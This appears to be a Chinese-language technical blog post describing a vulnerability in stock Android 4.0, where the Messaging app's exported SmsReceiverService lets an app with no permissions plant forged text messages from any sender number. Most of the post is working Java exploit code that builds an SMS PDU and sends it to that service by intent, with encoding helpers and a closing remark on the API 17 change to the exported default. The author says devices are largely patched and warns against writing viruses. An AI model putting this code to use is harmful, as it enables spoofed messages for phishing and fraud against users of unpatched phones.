導讀:本文利用android4.0的一個原生漏洞來僞造短信。無須聲明任何權限即可僞造發送方為任何号碼的短信給使用者。
android4.0釋出已經是很久很久很久很久以前的事情了,這個漏洞早就報了出來,之是以現在才寫這篇文章,就是覺得,該更新的基本已經都更新了,該打更新檔的基本都已經打了更新檔,是以現在差不多是時候了。
原生android4.0系統中,Mms.apk的manifest有這樣一段
Xml代碼
![](https://img.laitimes.com/img/_0nNw4CM6IyYiwiM6ICdiwiIn5GcuIXY0N3Xu92Yp9CXzV2Zh1WavwVbvNmLllXZ0lmL2EjMxU3cvw1LcpDc0RHaiojIsJye.png)
<service android:name=".transaction.SmsReceiverService"
android:exported="true" />
android:exported="true",意味着SmsReceiverService這個Service暴露給了大家,也讓病毒有機可乘
在stackoverflow上面,有人早就給出了僞造短信的方案,我們在這裡就直接使用人家的代碼好了
http://stackoverflow.com/questions/12335642/create-pdu-for-android-that-works-with-smsmessage-createfrompdu-gsm-3gpp
其中UCS-2處理是我新加上去的
Java代碼
private static void createFakeSms(Context context, String sender,
String body) {
byte[] pdu = null;
byte[] scBytes = PhoneNumberUtils
.networkPortionToCalledPartyBCD("0000000000");
byte[] senderBytes = PhoneNumberUtils
.networkPortionToCalledPartyBCD(sender);
int lsmcs = scBytes.length;
// 時間處理,包括年月日時分秒以及時區和夏令時
byte[] dateBytes = new byte[7];
Calendar calendar = new GregorianCalendar();
dateBytes[0] = SmsUtil
.reverseByte((byte) (calendar.get(Calendar.YEAR)));
dateBytes[1] = SmsUtil
.reverseByte((byte) (calendar.get(Calendar.MONTH) + 1));
dateBytes[2] = SmsUtil.reverseByte((byte) (calendar
.get(Calendar.DAY_OF_MONTH)));
dateBytes[3] = SmsUtil.reverseByte((byte) (calendar
.get(Calendar.HOUR_OF_DAY)));
dateBytes[4] = SmsUtil.reverseByte((byte) (calendar
.get(Calendar.MINUTE)));
dateBytes[5] = SmsUtil.reverseByte((byte) (calendar
.get(Calendar.SECOND)));
dateBytes[6] = SmsUtil
.reverseByte((byte) ((calendar.get(Calendar.ZONE_OFFSET) + calendar
.get(Calendar.DST_OFFSET)) / (60 * 1000 * 15)));
try {
ByteArrayOutputStream bo = new ByteArrayOutputStream();
bo.write(lsmcs);// 短信服務中心長度
bo.write(scBytes);// 短信服務中心号碼
bo.write(0x04);
bo.write((byte) sender.length());// 發送方号碼長度
bo.write(senderBytes);// 發送方号碼
bo.write(0x00);// 協定标示,00為普通GSM,點對點方式
try {
String sReflectedClassName = "com.android.internal.telephony.GsmAlphabet";
Class<?> cReflectedNFCExtras = Class
.forName(sReflectedClassName);
Method stringToGsm7BitPacked = cReflectedNFCExtras.getMethod(
"stringToGsm7BitPacked", new Class[] { String.class });
stringToGsm7BitPacked.setAccessible(true);
byte[] bodybytes = (byte[]) stringToGsm7BitPacked.invoke(null,
body);
bo.write(0x00); // encoding: 0 for default 7bit
bo.write(dateBytes);
bo.write(bodybytes);
} catch (Exception e) {
Log.i(TAG, "sender:" + sender + "\nbody:" + body, e);
// 下面是UCS-2編碼的處理,中文短信就需要用此種方式
bo.write(0x08); // encoding: 8 for UCS-2
bo.write(dateBytes);
bo.write(SmsUtil.encodeUCS2(body, null));// 其中encodeUCS2是從系統中複制過來的,并不是我寫的
// 源碼具體位置在
// frameworks/base/telephony/java/com/android/internal/telephony/gsm/SmsMessage.java
}
pdu = bo.toByteArray();
} catch (IOException e) {
Log.e(TAG, "sender:" + sender + "\nbody:" + body, e);
}
// 上面的部分都是組織短信資料,下面是将資料傳遞給SmsReceiverService,讓它來幫我們發送。雖然我們的程式沒有發送短信的權限,但是人家有啊!
Intent intent = new Intent();
intent.setClassName("com.android.mms",
"com.android.mms.transaction.SmsReceiverService");
intent.setAction("android.provider.Telephony.SMS_RECEIVED");
intent.putExtra("pdus", new Object[] { pdu });
intent.putExtra("format", "3gpp");
context.startService(intent);
}
public static byte reverseByte(byte b) {
return (byte) ((b & 0xF0) >> 4 | (b & 0x0F) << 4);
}
我們看看在SmsMessage.java中的getSubmitPdu處理user data的方式
Java代碼
// User Data (and length)
byte[] userData;
try {
if (encoding == ENCODING_7BIT) {
userData = GsmAlphabet.stringToGsm7BitPackedWithHeader(message, header,
languageTable, languageShiftTable);
} else { //assume UCS-2
try {
userData = encodeUCS2(message, header);
} catch(UnsupportedEncodingException uex) {
Log.e(LOG_TAG,
"Implausible UnsupportedEncodingException ",
uex);
return null;
}
}
} catch (EncodeException ex) {
// Encoding to the 7-bit alphabet failed. Let's see if we can
// send it as a UCS-2 encoded message
try {
userData = encodeUCS2(message, header);
encoding = ENCODING_16BIT;
} catch(UnsupportedEncodingException uex) {
Log.e(LOG_TAG,
"Implausible UnsupportedEncodingException ",
uex);
return null;
}
}
先看是不是7-bit編碼方式,如果不是,那麼就假設是UCS-2編碼,如果抛出EncodeException,那麼也嘗試UCS-2編碼
下面附上encodeUCS2代碼
Java代碼
/**
* Packs header and UCS-2 encoded message. Includes TP-UDL & TP-UDHL if
* necessary
*
* @return
* @throws UnsupportedEncodingException
*/
public static byte[] encodeUCS2(String message, byte[] header)
throws UnsupportedEncodingException {
byte[] userData, textPart;
textPart = message.getBytes("utf-16be");
if (header != null) {
// Need 1 byte for UDHL
userData = new byte[header.length + textPart.length + 1];
userData[0] = (byte) header.length;
System.arraycopy(header, 0, userData, 1, header.length);
System.arraycopy(textPart, 0, userData, header.length + 1,
textPart.length);
} else {
userData = textPart;
}
byte[] ret = new byte[userData.length + 1];
ret[0] = (byte) (userData.length & 0xff);
System.arraycopy(userData, 0, ret, 1, userData.length);
return ret;
}
現在,我們就可以在原生android4.0上面幹壞事了,如果你在真機上面發現上面的代碼不起作用,那麼很有可能人家已經修複了漏洞,是以你也别總想着幹壞事。
不過……HTC G14上面的漏洞還是存在的,起碼前兩個月是這個樣子,沒關系,我已經換了手機……
另外值得一提是android:exported這個屬性
我們可以在android官方文檔中看到如下說明
http://developer.android.com/about/versions/jelly-bean.html#42-platform-tech
ContentProvider default configuration — Applications which target API level 17 will have “export” set to “false” by default for each ContentProvider, reducing default attack surface for applications.
這意味着什麼呢?
之前,你可以不用顯式設定export這個屬性,别人也可以調用你的ContentProvider,但是你的應用放到了Android4.2(API17)上面,那麼别人再調用你的ContentProvider的時候就會抛出異常,進而導緻應用崩潰
這是時候,我們就必須在manifest檔案中顯式給export指派為true
之前就遇到了這樣的問題,應用放在4.1上面沒有問題,放到4.2上就crash,調查了半天,才發現原因在這裡
看來關鍵的屬性還是顯式聲明的好,因為沒準哪一天,它的預設值就變了
下面是一些相關内容
GSM 03.38 from Wikipedia
請大家不要用root的手機随意下載下傳軟體,更不要以任何借口制造任何病毒!
轉貼請保留以下連結
本人blog位址
http://su1216.iteye.com/
http://blog.csdn.net/su1216/